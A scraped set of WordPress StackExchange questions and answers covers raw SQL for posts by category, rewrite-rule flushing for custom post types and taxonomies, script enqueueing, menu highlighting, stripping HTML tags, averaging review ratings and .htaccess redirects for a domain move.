[ { "answer_id": 267602, "author": "Cedon", "author_id": 80069, "author_profile": "https://wordpress.stackexchange.com/users/80069", "pm_score": 1, "selected": false, "text": "<p>This can be done using the <code>WP_Query</code> class. If all you're looking for is to grab all posts based on the category, you can do that using the ID or slug.</p>\n\n<pre><code>$args = array(\n 'cat' =&gt; 1,\n);\n\n$new_query = new WP_Query( $args );\n</code></pre>\n\n<p>OR </p>\n\n<pre><code>$args = array(\n 'cat_name' =&gt; 'news',\n);\n\n$new_query = new WP_Query( $args );\n</code></pre>\n\n<p>From there you write the loop as normal with one exception:</p>\n\n<pre><code>&lt;?php if ( $new_query-&gt;have_posts() ) : ?&gt;\n &lt;?php while ( $new_query-&gt;have_posts() ) : $new_query-&gt;the_post(); ?&gt;\n // Post Code Goes Here\n &lt;?php endwhile; ?&gt;\n\n &lt;?php wp_reset_postdata(); ?&gt;\n\n&lt;?php else : ?&gt;\n // No Posts Found\n&lt;?php endif; ??\n</code></pre>\n\n<p>You need to include the <code>wp_reset_postdata();</code> function call which will reset the <code>global $post;</code> back to the main query's value. </p>\n" }, { "answer_id": 267606, "author": "bbruman", "author_id": 102212, "author_profile": "https://wordpress.stackexchange.com/users/102212", "pm_score": 5, "selected": true, "text": "<p>Figured it out. @belinus is probably the solution for you if you're looking to do this within WordPress.</p>\n\n<p>As for just a raw SQL query you can play around with, I found this one, modified it a little bit and it returns all the products for a particular category.</p>\n\n<p>There are three tables required to do this <code>wp_posts</code> <code>wp_term_relationships</code> and <code>wp_term_taxonomy</code></p>\n\n<pre><code>SELECT *\nFROM wp_posts\nLEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id)\nLEFT JOIN wp_term_taxonomy ON (wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id)\nWHERE wp_term_taxonomy.term_id IN (307)\nGROUP BY wp_posts.ID\n</code></pre>\n\n<p>Just replace <code>307</code> with the <code>term_id</code> of the category you're looking to get results for. You can find this by searching in the <code>wp_terms</code> <code>name</code> column and it will return the term id associated.</p>\n\n<p>You can also return multiple categories if you wish, just comma seperate them in the <code>WHERE</code> clause for example <code>WHERE wp_term_taxonomy.term_id IN (307, 450, 200, 99)</code>.</p>\n" }, { "answer_id": 339359, "author": "Deepak Sharma", "author_id": 103136, "author_profile": "https://wordpress.stackexchange.com/users/103136", "pm_score": 1, "selected": false, "text": "<p>I created a query, you can use this to find all the categories related to</p>\n\n<pre><code>SELECT * FROM wpra_term_relationships \nINNER JOIN wpra_term_taxonomy ON (wpra_term_taxonomy.term_taxonomy_id=wpra_term_relationships.term_taxonomy_id AND wpra_term_taxonomy.taxonomy='category')\nINNER JOIN wpra_terms ON (wpra_terms.term_id=wpra_term_taxonomy.term_id )\nWHERE object_id='273960'\n</code></pre>\n\n<p>Just replace 273960 with your POST ID</p>\n" }, { "answer_id": 365412, "author": "ronaldoguedess", "author_id": 181775, "author_profile": "https://wordpress.stackexchange.com/users/181775", "pm_score": 0, "selected": false, "text": "<p>Thanks, Deepak Sharma, with your post I can do what I was trying to do!\nI made some fix for it works. I tried liked your comment, but I can't because I don't have enough points! </p>\n\n<pre><code>SELECT * FROM wp_term_relationships INNER JOIN wp_term_taxonomy ON (wp_term_taxonomy.term_taxonomy_id=wp_term_relationships.term_taxonomy_id AND wp_term_taxonomy.taxonomy='product_cat') INNER JOIN wp_terms ON (wp_terms.term_id=wp_term_taxonomy.term_id ) WHERE object_id='61170'\n</code></pre>\n" } ]
2017/05/21
[ "https://wordpress.stackexchange.com/questions/267600", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/102212/" ]
Using this query to retrieve all of my posts with a specific `post_type` ``` SELECT * FROM wp_posts WHERE post_type = 'product'; ``` As described [here](https://wordpress.stackexchange.com/questions/66080/how-to-find-out-wordpress-category-table-in-mysql) the category is not in the `wp_posts` table but in term tables `wp_terms` `wp_term_relationships` `wp_term_taxonomy` Searching through all the tables for a category I had in mind, the only instance of a category I could find was in the `wp_terms` table which contains the following columns * term\_id * name * slug * term\_group Looking for cross-references to this in other tables and somehow relate them back to wp\_posts is posing some complications. My thinking is `term_id` I should be looking for as it seems like a foreign key, but the only instance of that is in `wp_term_taxonomy`, and the only information I can find in the table related to my category (or rather `term_id`) is * term\_taxonomy\_id * term\_id * taxonomy * description * parent * count So the only information I can get from this is letting me know that my `term_id` `taxonomy` is a `product_cat` and in `count` tells me how many posts I have for this particular category. Knowing a little bit about MySQL I know if there's any hope of doing this I need to modify my query and do a `JOIN` or two. But I'm only finding very limited information on what exactly I can latch onto. Here's the structure of `wp_posts` ``` `wp_posts` ( `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `post_author` bigint(20) unsigned NOT NULL DEFAULT '0', `post_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `post_date_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `post_content` longtext COLLATE utf8mb4_unicode_520_ci NOT NULL, `post_title` text COLLATE utf8mb4_unicode_520_ci NOT NULL, `post_excerpt` text COLLATE utf8mb4_unicode_520_ci NOT NULL, `post_status` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'publish', `comment_status` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'open', `ping_status` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'open', `post_password` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '', `post_name` varchar(200) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '', `to_ping` text COLLATE utf8mb4_unicode_520_ci NOT NULL, `pinged` text COLLATE utf8mb4_unicode_520_ci NOT NULL, `post_modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `post_modified_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `post_content_filtered` longtext COLLATE utf8mb4_unicode_520_ci NOT NULL, `post_parent` bigint(20) unsigned NOT NULL DEFAULT '0', `guid` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '', `menu_order` int(11) NOT NULL DEFAULT '0', `post_type` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'post', `post_mime_type` varchar(100) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '', `comment_count` bigint(20) NOT NULL DEFAULT '0', PRIMARY KEY (`ID`), KEY `post_name` (`post_name`(191)), KEY `type_status_date` (`post_type`,`post_status`,`post_date`,`ID`), KEY `post_parent` (`post_parent`), KEY `post_author` (`post_author`) ) ``` Is it even possible to modify my query to only retrieve `wp_posts` table rows for specific categories?
Figured it out. @belinus is probably the solution for you if you're looking to do this within WordPress. As for just a raw SQL query you can play around with, I found this one, modified it a little bit and it returns all the products for a particular category. There are three tables required to do this `wp_posts` `wp_term_relationships` and `wp_term_taxonomy` ``` SELECT * FROM wp_posts LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) LEFT JOIN wp_term_taxonomy ON (wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id) WHERE wp_term_taxonomy.term_id IN (307) GROUP BY wp_posts.ID ``` Just replace `307` with the `term_id` of the category you're looking to get results for. You can find this by searching in the `wp_terms` `name` column and it will return the term id associated. You can also return multiple categories if you wish, just comma seperate them in the `WHERE` clause for example `WHERE wp_term_taxonomy.term_id IN (307, 450, 200, 99)`.
267,613
<p>Note: this question also appears on <a href="https://stackoverflow.com/questions/44060613/update-permalinks-when-new-category-added-to-custom-post-type-taxonomy">https://stackoverflow.com/questions/44060613/update-permalinks-when-new-category-added-to-custom-post-type-taxonomy</a> (but is not getting much love).</p> <p>Have created a collection of Custom Post Types (CPT) for a WordPress theme I am working on (along with their own taxonomies and tags). For the purpose of this question I will just focus on the 'projects' CPT.</p> <p>When a new project category is added, and then linked to in the navigation menu - the user will see a 404 error until permalinks are saved, clearing WordPress' route caching.</p> <p>I was thinking the best way to achieve this would be to use flush_rewrite_rules();</p> <p>Although, saying that - I don't take it lightly as best practice strongly recommends only using this function when activating/deactivating a plugin. <a href="https://codex.wordpress.org/Function_Reference/flush_rewrite_rules#Usage" rel="nofollow noreferrer">https://codex.wordpress.org/Function_Reference/flush_rewrite_rules#Usage</a></p> <p>What I want to do is hook into the action that fires when a new CPT category is created (either via the post or admin screen) and then run the flush rewrite upon that action so that the WP admin doesn't have to concern themselves with forcing Wordpress route caching via update on permalinks.</p> <p>I looked at this <a href="https://wordpress.stackexchange.com/questions/116616/hook-onto-add-new-category">Hook onto Add New Category</a> for a possible solution and attempted to use this code:</p> <pre><code>function custom_created_term( $term_id, $tt_id, $taxonomy ) { $project_cpt = 'CPT_PROJECT'; // Edit this to your needs $project_tax = 'TAX_PROJECT_CATS'; // Edit this to your needs if( DOING_AJAX &amp;&amp; $project_tax === $taxonomy ) { // Try to get the post type from the post id in the referred page url // Example: /wp-admin/post.php?post=2122&amp;action=edit&amp;message=1 parse_str( parse_url( wp_get_referer(), PHP_URL_QUERY ) , $params ); if( isset( $params['post'] ) ) { $post_id = intval( $params['post'] ); if( $post_id &gt; 0 &amp;&amp; $project_cpt === get_post_type( $post_id ) ) { flush_rewrite_rules(true); } } } } </code></pre> <p>But it is not really working out for me. Not sure if I am using the right tool here or if I am doing something wrong. Have searched quite a bit to the solution but I haven't come up with a good solution to my problem here (can't find the hook for creating new CPT categories).</p>
[ { "answer_id": 267802, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 1, "selected": false, "text": "<p>That's not how custom taxonomies and post types work</p>\n\n<p>This is what you do:</p>\n\n<ul>\n<li>On the <code>init</code> hook, call <code>register_custom_taxonomy</code> or <code>register_post_type</code></li>\n<li>If you change your calls to <code>register_custom_taxonomy</code> or <code>register_post_type</code>, or add new ones in your code, regenerate permalinks by visiting the permalinks settings page and clicking save</li>\n<li>You're done</li>\n</ul>\n\n<p>So if I follow the above steps and create a new taxonomy named <code>colour</code>, I do not need to flush permalinks to create <code>red</code> or <code>blue</code> terms. If I created a brand new taxonomy named <code>shape</code> I would flush the permalinks, but only once, this is so that I don't get 404's when I visit shape terms on the frontend. The same is true of custom post types</p>\n\n<p>Keep in mind that <code>flush_rewrite_rules</code> is a very expensive function, and you should never need to call it. An example of when it might be called is in a plugins activation hook after it's first installed, or a WP CLI command.</p>\n\n<h2>How To Avoid The 404's</h2>\n\n<p>Use <code>register_activation_hook</code> to flush rewrite rules. This will get called when your plugin is activated ( and only the time it's activated, not every page load ).</p>\n\n<p><a href=\"https://codex.wordpress.org/Function_Reference/register_activation_hook\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/register_activation_hook</a></p>\n\n<p>Flushing on the creation of every term is both unnecessary, and damaging</p>\n\n<h3>What If I Registered My CPT/CT In A Theme?</h3>\n\n<p>You can use the <code>after_theme_switch</code> hook to flush rewrite rules, however, registering post types and taxonomies in a theme is bad practice. It causes issues with data portability, e.g. if a user changes themes they loose their data.</p>\n\n<p>Themes determine how a site looks, and functionality, especially data, should be defined in plugins.</p>\n" }, { "answer_id": 270039, "author": "Ryan Coolwebs", "author_id": 105819, "author_profile": "https://wordpress.stackexchange.com/users/105819", "pm_score": 0, "selected": false, "text": "<p>Ok, pretty simple solution I came up with. Just put this code below into my includes within function.php:</p>\n\n<pre><code>add_action('wp_update_nav_menu_item', function ()\n{\n flush_rewrite_rules(true);\n}, 10, 2);\n</code></pre>\n\n<p>This just hooks into the nav menu update function, so it fires every time menu is updated by admin user.</p>\n\n<p>I know flush rewrite is an \"expensive\" function but it will only be called when the navigation menu is updated which will not be all that often.</p>\n" } ]
2017/05/22
[ "https://wordpress.stackexchange.com/questions/267613", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105819/" ]
Note: this question also appears on <https://stackoverflow.com/questions/44060613/update-permalinks-when-new-category-added-to-custom-post-type-taxonomy> (but is not getting much love). Have created a collection of Custom Post Types (CPT) for a WordPress theme I am working on (along with their own taxonomies and tags). For the purpose of this question I will just focus on the 'projects' CPT. When a new project category is added, and then linked to in the navigation menu - the user will see a 404 error until permalinks are saved, clearing WordPress' route caching. I was thinking the best way to achieve this would be to use flush\_rewrite\_rules(); Although, saying that - I don't take it lightly as best practice strongly recommends only using this function when activating/deactivating a plugin. <https://codex.wordpress.org/Function_Reference/flush_rewrite_rules#Usage> What I want to do is hook into the action that fires when a new CPT category is created (either via the post or admin screen) and then run the flush rewrite upon that action so that the WP admin doesn't have to concern themselves with forcing Wordpress route caching via update on permalinks. I looked at this [Hook onto Add New Category](https://wordpress.stackexchange.com/questions/116616/hook-onto-add-new-category) for a possible solution and attempted to use this code: ``` function custom_created_term( $term_id, $tt_id, $taxonomy ) { $project_cpt = 'CPT_PROJECT'; // Edit this to your needs $project_tax = 'TAX_PROJECT_CATS'; // Edit this to your needs if( DOING_AJAX && $project_tax === $taxonomy ) { // Try to get the post type from the post id in the referred page url // Example: /wp-admin/post.php?post=2122&action=edit&message=1 parse_str( parse_url( wp_get_referer(), PHP_URL_QUERY ) , $params ); if( isset( $params['post'] ) ) { $post_id = intval( $params['post'] ); if( $post_id > 0 && $project_cpt === get_post_type( $post_id ) ) { flush_rewrite_rules(true); } } } } ``` But it is not really working out for me. Not sure if I am using the right tool here or if I am doing something wrong. Have searched quite a bit to the solution but I haven't come up with a good solution to my problem here (can't find the hook for creating new CPT categories).
That's not how custom taxonomies and post types work This is what you do: * On the `init` hook, call `register_custom_taxonomy` or `register_post_type` * If you change your calls to `register_custom_taxonomy` or `register_post_type`, or add new ones in your code, regenerate permalinks by visiting the permalinks settings page and clicking save * You're done So if I follow the above steps and create a new taxonomy named `colour`, I do not need to flush permalinks to create `red` or `blue` terms. If I created a brand new taxonomy named `shape` I would flush the permalinks, but only once, this is so that I don't get 404's when I visit shape terms on the frontend. The same is true of custom post types Keep in mind that `flush_rewrite_rules` is a very expensive function, and you should never need to call it. An example of when it might be called is in a plugins activation hook after it's first installed, or a WP CLI command. How To Avoid The 404's ---------------------- Use `register_activation_hook` to flush rewrite rules. This will get called when your plugin is activated ( and only the time it's activated, not every page load ). <https://codex.wordpress.org/Function_Reference/register_activation_hook> Flushing on the creation of every term is both unnecessary, and damaging ### What If I Registered My CPT/CT In A Theme? You can use the `after_theme_switch` hook to flush rewrite rules, however, registering post types and taxonomies in a theme is bad practice. It causes issues with data portability, e.g. if a user changes themes they loose their data. Themes determine how a site looks, and functionality, especially data, should be defined in plugins.
267,629
<p>I am trying to add an external Javascript file from my plugin. My code is -</p> <pre><code>&lt;?php /****** * * Plugin Name: Image Zoom * Author: Kallol Das * Description: This plugin will zoom an image of WordPress posts. * version: 1.0 * *******/ function zoom_image_main_js_init(){ wp_enqueue_script('zoom-script', plugins_url('/js/zoom-script.js', __FILE__), array('jquery'), 1.0, true); } add_action('init', 'zoom_image_main_js_init'); </code></pre> <p>Now the problem is It's only enqueuing in admin footer But not in Frontpage footer. So, how to do that? </p>
[ { "answer_id": 267626, "author": "Mehedi_Sharif", "author_id": 107089, "author_profile": "https://wordpress.stackexchange.com/users/107089", "pm_score": 0, "selected": false, "text": "<p>1- When you are in a page there is a css class called \"current-menu-item\" assigned to that menu. I thought you should assign your recent blog post as your static homepage and in menu section change that name with home. Hope it will works.</p>\n\n<p>2- Assign a page as blog post from settings > reading and then make assign that page in your submenu.\nIf you have any live url that would be best for me to give you correct answer.\nThanks</p>\n" }, { "answer_id": 267709, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 1, "selected": false, "text": "<p>Typical menu structure with 'Home' item being a <strong>Custom Link</strong> and other menu items being pages:</p>\n\n<blockquote>\n <p><img src=\"https://fw2s.com/wp-content/uploads/2017/05/menu.png\" alt=\"Typical Menu\"></p>\n</blockquote>\n\n<p>The 'Home' menu item <strong>must not</strong> point to a real page and should look like that:</p>\n\n<blockquote>\n <p><img src=\"https://fw2s.com/wp-content/uploads/2017/05/home.png\" alt=\"Home\"></p>\n</blockquote>\n\n<p>The 'Home' menu item stays the same, regardless of the choice you've made in <em>Settings -> Reading -> Front page displays</em>. </p>\n\n<p>Remove the <strong>page</strong> 'Home', you've created, then edit your menu, and remove menu item 'Home', which points to 'Home' <strong>page</strong>. Save your menu. Now, by clicking on 'Home' menu item ( custom link ), you'll get your posts displayed, and 'Home' will be highlighted.</p>\n" } ]
2017/05/22
[ "https://wordpress.stackexchange.com/questions/267629", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/101459/" ]
I am trying to add an external Javascript file from my plugin. My code is - ``` <?php /****** * * Plugin Name: Image Zoom * Author: Kallol Das * Description: This plugin will zoom an image of WordPress posts. * version: 1.0 * *******/ function zoom_image_main_js_init(){ wp_enqueue_script('zoom-script', plugins_url('/js/zoom-script.js', __FILE__), array('jquery'), 1.0, true); } add_action('init', 'zoom_image_main_js_init'); ``` Now the problem is It's only enqueuing in admin footer But not in Frontpage footer. So, how to do that?
Typical menu structure with 'Home' item being a **Custom Link** and other menu items being pages: > > ![Typical Menu](https://fw2s.com/wp-content/uploads/2017/05/menu.png) > > > The 'Home' menu item **must not** point to a real page and should look like that: > > ![Home](https://fw2s.com/wp-content/uploads/2017/05/home.png) > > > The 'Home' menu item stays the same, regardless of the choice you've made in *Settings -> Reading -> Front page displays*. Remove the **page** 'Home', you've created, then edit your menu, and remove menu item 'Home', which points to 'Home' **page**. Save your menu. Now, by clicking on 'Home' menu item ( custom link ), you'll get your posts displayed, and 'Home' will be highlighted.
267,637
<p>So, I tried to strip all the html tags in a string but I can't get it to work.</p> <p>This is my code snippet</p> <pre><code>$content = get_the_content(); $content = preg_replace("/&lt;embed[^&gt;]+\&gt;/i", "(embed) ", $content); $content = apply_filters('the_content', $content); $content = str_replace(']]&gt;', ']]&gt;', $content); echo wp_strip_all_tags($content); </code></pre>
[ { "answer_id": 267639, "author": "xvilo", "author_id": 104427, "author_profile": "https://wordpress.stackexchange.com/users/104427", "pm_score": 2, "selected": false, "text": "<p>If you want to strip all tags, you can use <a href=\"http://php.net/manual/en/function.strip-tags.php\" rel=\"nofollow noreferrer\">strip_tags</a>. \nSmall code example:</p>\n\n<pre><code>$content = get_the_content();\n$cleaned = strip_tags($content, '&lt;br&gt;'); //keeps newlines\n$superCleaned = strip_tags($content); //No HTML Tags\n</code></pre>\n" }, { "answer_id": 267641, "author": "Max Yudin", "author_id": 11761, "author_profile": "https://wordpress.stackexchange.com/users/11761", "pm_score": 2, "selected": true, "text": "<pre><code>$content = get_the_content();\n// regex (fixed) replacing '&lt;embed&gt;' with '(embed )'\n$content = preg_replace(\"/&lt;embed?[^&gt;]+&gt;/i\", \"(embed) \", $content);\n// remove all tags\n$content = wp_strip_all_tags($content);\necho $content;\n</code></pre>\n\n<p><strong>Edited according to the first comment:</strong></p>\n\n<p>What you are trying to remove are not tags, these are HTML character entities. E. g., <code>&lt;p&gt;</code> was converted to <code>&amp;lt;p&amp;gt;</code> by WordPress when you've saved the content in the visual editor.</p>\n\n<p>You have two choices:</p>\n\n<ol>\n<li>edit the content in the built-in text editor to remove those entities (switch the editor from <em>Visual</em> to <em>HTML</em> mode);</li>\n<li>use different regexes to remove entities after the post was fetched.</li>\n</ol>\n\n<p>For example (not tested, but you have the idea):</p>\n\n<pre><code>$content = preg_replace(\"/&amp;lt;embed?[.]+&amp;gt/i\", \"(embed) \", $content);\n$content = preg_replace(\"/&amp;lt;[.]+&amp;gt/i\", \"\", $content);\n</code></pre>\n" } ]
2017/05/22
[ "https://wordpress.stackexchange.com/questions/267637", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/115305/" ]
So, I tried to strip all the html tags in a string but I can't get it to work. This is my code snippet ``` $content = get_the_content(); $content = preg_replace("/<embed[^>]+\>/i", "(embed) ", $content); $content = apply_filters('the_content', $content); $content = str_replace(']]>', ']]>', $content); echo wp_strip_all_tags($content); ```
``` $content = get_the_content(); // regex (fixed) replacing '<embed>' with '(embed )' $content = preg_replace("/<embed?[^>]+>/i", "(embed) ", $content); // remove all tags $content = wp_strip_all_tags($content); echo $content; ``` **Edited according to the first comment:** What you are trying to remove are not tags, these are HTML character entities. E. g., `<p>` was converted to `&lt;p&gt;` by WordPress when you've saved the content in the visual editor. You have two choices: 1. edit the content in the built-in text editor to remove those entities (switch the editor from *Visual* to *HTML* mode); 2. use different regexes to remove entities after the post was fetched. For example (not tested, but you have the idea): ``` $content = preg_replace("/&lt;embed?[.]+&gt/i", "(embed) ", $content); $content = preg_replace("/&lt;[.]+&gt/i", "", $content); ```
267,664
<p>I need to be able to sum up all values of a specific custom field and then get the total count. </p> <p>For example, I have created a custom post type for reviews and each one has custom fields for 5 star rating. </p> <p>What I need is to add up all the values of the star rating and divide by total count to give me the average. </p>
[ { "answer_id": 267665, "author": "TomC", "author_id": 36980, "author_profile": "https://wordpress.stackexchange.com/users/36980", "pm_score": 0, "selected": false, "text": "<p>I did something similar where I added a custom field for the weight of a product.\nHere's my code:</p>\n\n<pre><code>function epcpt_total_tonnage(){\n\n\n $query_args = array(\n 'post_type' =&gt; 'projects',\n 'post_status' =&gt; 'publish',\n 'order' =&gt; 'DESC'\n );\n\n\n $total_tonnage = 0;\n $query = new WP_Query($query_args);\n if ( $query-&gt;have_posts() ) {\n while( $query-&gt;have_posts() ) {\n $query-&gt;the_post();\n // do the processing for each post\n\n $total_tonnage = $total_tonnage + get_field( \"tonnage\", $post-&gt;ID, 123 );\n // $total_tonnage = $total_tonnage + get_post_meta( $post-&gt;ID, 'tonnage', true );\n }\n }\n echo '&lt;p&gt;Total output tonnage to date: ' . number_format_i18n( $total_tonnage ) . ' Tonnes&lt;/p&gt;';\n }\n</code></pre>\n\n<p>You can change your <code>post_type</code> to 'reviews' and then amend your <code>get_field()</code> values to suit.</p>\n" }, { "answer_id": 267666, "author": "Wacław Jacek", "author_id": 115216, "author_profile": "https://wordpress.stackexchange.com/users/115216", "pm_score": 0, "selected": false, "text": "<p>Something along the lines of the following should work. I used the get_field function because I noticed you tagged this post with \"advanced-custom-fields\".</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>function get_average_rating( $post_id ) {\n $rating_sum = 0;\n\n $reviews_of_post = get_posts( array(\n 'post_type' =&gt; 'NAME_OF_YOUR_REVIEW_POST_TYPE',\n 'posts_per_page' =&gt; -1,\n 'meta_query' =&gt; array(\n array(\n 'key' =&gt; 'NAME_OF_A_CUSTOM_FIELD_ON_THE_POST_TYPE_CONTAINING_RELATIONSHIP_TO_POST',\n 'value' =&gt; $post_id,\n 'compare' =&gt; '=',\n ),\n ),\n ) );\n\n if ( empty( $reviews_of_post ) ) {\n return 0; // If there are no reviews, we return 0.\n }\n\n foreach ( $reviews_of_post as $review ) {\n $rating_sum += get_field( 'NAME_OF_CUSTOM_FIELD_CONTAINING_RATING', 'post_' . $review-&gt;ID);\n }\n\n return $rating_sum / count( $reviews_of_post );\n}\n</code></pre>\n" }, { "answer_id": 269146, "author": "Rob", "author_id": 120179, "author_profile": "https://wordpress.stackexchange.com/users/120179", "pm_score": 1, "selected": false, "text": "<p>Thanks for your help guys. They didn't quit work exactly, but I managed to get the result I needed by doing the following</p>\n\n<pre><code>$reviewsNum = 0;\n$reviewsCount = 0; \n$argsSchema = array( 'post_type' =&gt; 'reviews', 'posts_per_page' =&gt; -1 );\n$loopSchema = new WP_Query( $argsSchema );\n$count_reviews = wp_count_posts( 'reviews' )-&gt;publish;\nwhile ( $loopSchema-&gt;have_posts() ) : $loopSchema-&gt;the_post();\n $reviewrating = get_post_meta(get_the_ID(), \"_reviewrating\", true);\n if (!empty($reviewrating)){\n $reviewsNum += $reviewrating;\n }\nendwhile;\n$averagerating = $reviewsNum / $count_reviews;\n</code></pre>\n" } ]
2017/05/22
[ "https://wordpress.stackexchange.com/questions/267664", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120179/" ]
I need to be able to sum up all values of a specific custom field and then get the total count. For example, I have created a custom post type for reviews and each one has custom fields for 5 star rating. What I need is to add up all the values of the star rating and divide by total count to give me the average.
Thanks for your help guys. They didn't quit work exactly, but I managed to get the result I needed by doing the following ``` $reviewsNum = 0; $reviewsCount = 0; $argsSchema = array( 'post_type' => 'reviews', 'posts_per_page' => -1 ); $loopSchema = new WP_Query( $argsSchema ); $count_reviews = wp_count_posts( 'reviews' )->publish; while ( $loopSchema->have_posts() ) : $loopSchema->the_post(); $reviewrating = get_post_meta(get_the_ID(), "_reviewrating", true); if (!empty($reviewrating)){ $reviewsNum += $reviewrating; } endwhile; $averagerating = $reviewsNum / $count_reviews; ```
267,681
<p>Who could help me with the following:</p> <p>I am moving my site to another domain AND I want to change my permalink structure. I wish to edit my .htaccess file of my OLD domain.</p> <p>So:</p> <p><a href="http://www.olddomain.com/%YEAR/%MONTH/%DATE/example-post" rel="nofollow noreferrer">http://www.olddomain.com/%YEAR/%MONTH/%DATE/example-post</a> </p> <p>SHOULD BE 301 REDIRECTED TO</p> <p><a href="http://www.newdomain.com/example-post" rel="nofollow noreferrer">http://www.newdomain.com/example-post</a> </p> <p>All my old URL's should be 301 redirected to the new URL's and new permalink structure.</p> <p>What are the necessary steps I should take?</p>
[ { "answer_id": 267683, "author": "eldoleo", "author_id": 113227, "author_profile": "https://wordpress.stackexchange.com/users/113227", "pm_score": 0, "selected": false, "text": "<p>Assuming Mod_Rewrite is active, on .htaccess file you can use:</p>\n\n<p>Redirect 301 <a href=\"http://www.olddomain.com/2015/05/22/example-post\" rel=\"nofollow noreferrer\">http://www.olddomain.com/2015/05/22/example-post</a> <a href=\"http://www.newdomain.com/example-post\" rel=\"nofollow noreferrer\">http://www.newdomain.com/example-post</a> </p>\n" }, { "answer_id": 267691, "author": "rheeantz", "author_id": 119810, "author_profile": "https://wordpress.stackexchange.com/users/119810", "pm_score": 2, "selected": true, "text": "<p>on your <strong>old domain</strong> add this following rule at the top of .htaccess</p>\n\n<pre><code>RedirectMatch 301 ^/([0-9]{4})/([0-9]{2})/(.*)$ http://newdomain.com/$3\n</code></pre>\n\n<p>plase let me know if its work or not.</p>\n" } ]
2017/05/22
[ "https://wordpress.stackexchange.com/questions/267681", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120193/" ]
Who could help me with the following: I am moving my site to another domain AND I want to change my permalink structure. I wish to edit my .htaccess file of my OLD domain. So: <http://www.olddomain.com/%YEAR/%MONTH/%DATE/example-post> SHOULD BE 301 REDIRECTED TO <http://www.newdomain.com/example-post> All my old URL's should be 301 redirected to the new URL's and new permalink structure. What are the necessary steps I should take?
on your **old domain** add this following rule at the top of .htaccess ``` RedirectMatch 301 ^/([0-9]{4})/([0-9]{2})/(.*)$ http://newdomain.com/$3 ``` plase let me know if its work or not.
267,686
<p>I've built and manage two primary/junior school sites in the UK. They've recently come together under a Multi Academy Trust (MAT) and consequently, they now share a fair amount of common policies and documentation.</p> <p>Currently an admin at each school is provided the latest document version (via email) to upload and link to on their respective sites, so there is already some duplication of effort and potential for version control becoming out of sync.</p> <p>I'm now developing a third site, for the MAT itself. Moving forward we'd like to host the shared and common policies only on the MAT site and have the two schools link through to the relevant documents on the MAT site. That way the MAT site is solely responsible for providing the latest version of a policy document.</p> <p>However, to keep things up to date and in sync between the three sites, it still requires some notification down from the MAT to the two schools to let them know there is a new version of a document and to update the link accordingly.</p> <p>This will be an improvement but is still a bit of a pain and I'm looking for a smarter solution, whereby each school site links to a permanent location (a directory?) at the MAT site and simply links to the file that is in that directory. In this way the 2 school sites would not need to update their policy links once they have been established. This is not possible using the WP Media Library 'out of the box' (especially when we are using permalinks with a structure domain.co.uk/%year%/%monthnum%/%postname%/ ) as the month/year will change on the MAT site when they upload a revised policy version.</p> <p>I'm sure this is not such a niche request and that others will have faced a similar issue. I've been looking at the MAT site utilising a 3rd party document management system, such as Zoho Docs, Google Docs, DropBox Pro or similar, and avoiding the WP Media Library altogether.</p> <p>I'd be interested to hear other users experience and solutions for this type of scenario and if it can indeed be achieved with Wordpress alone, or maybe a plugin solution?</p>
[ { "answer_id": 267683, "author": "eldoleo", "author_id": 113227, "author_profile": "https://wordpress.stackexchange.com/users/113227", "pm_score": 0, "selected": false, "text": "<p>Assuming Mod_Rewrite is active, on .htaccess file you can use:</p>\n\n<p>Redirect 301 <a href=\"http://www.olddomain.com/2015/05/22/example-post\" rel=\"nofollow noreferrer\">http://www.olddomain.com/2015/05/22/example-post</a> <a href=\"http://www.newdomain.com/example-post\" rel=\"nofollow noreferrer\">http://www.newdomain.com/example-post</a> </p>\n" }, { "answer_id": 267691, "author": "rheeantz", "author_id": 119810, "author_profile": "https://wordpress.stackexchange.com/users/119810", "pm_score": 2, "selected": true, "text": "<p>on your <strong>old domain</strong> add this following rule at the top of .htaccess</p>\n\n<pre><code>RedirectMatch 301 ^/([0-9]{4})/([0-9]{2})/(.*)$ http://newdomain.com/$3\n</code></pre>\n\n<p>plase let me know if its work or not.</p>\n" } ]
2017/05/22
[ "https://wordpress.stackexchange.com/questions/267686", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/58528/" ]
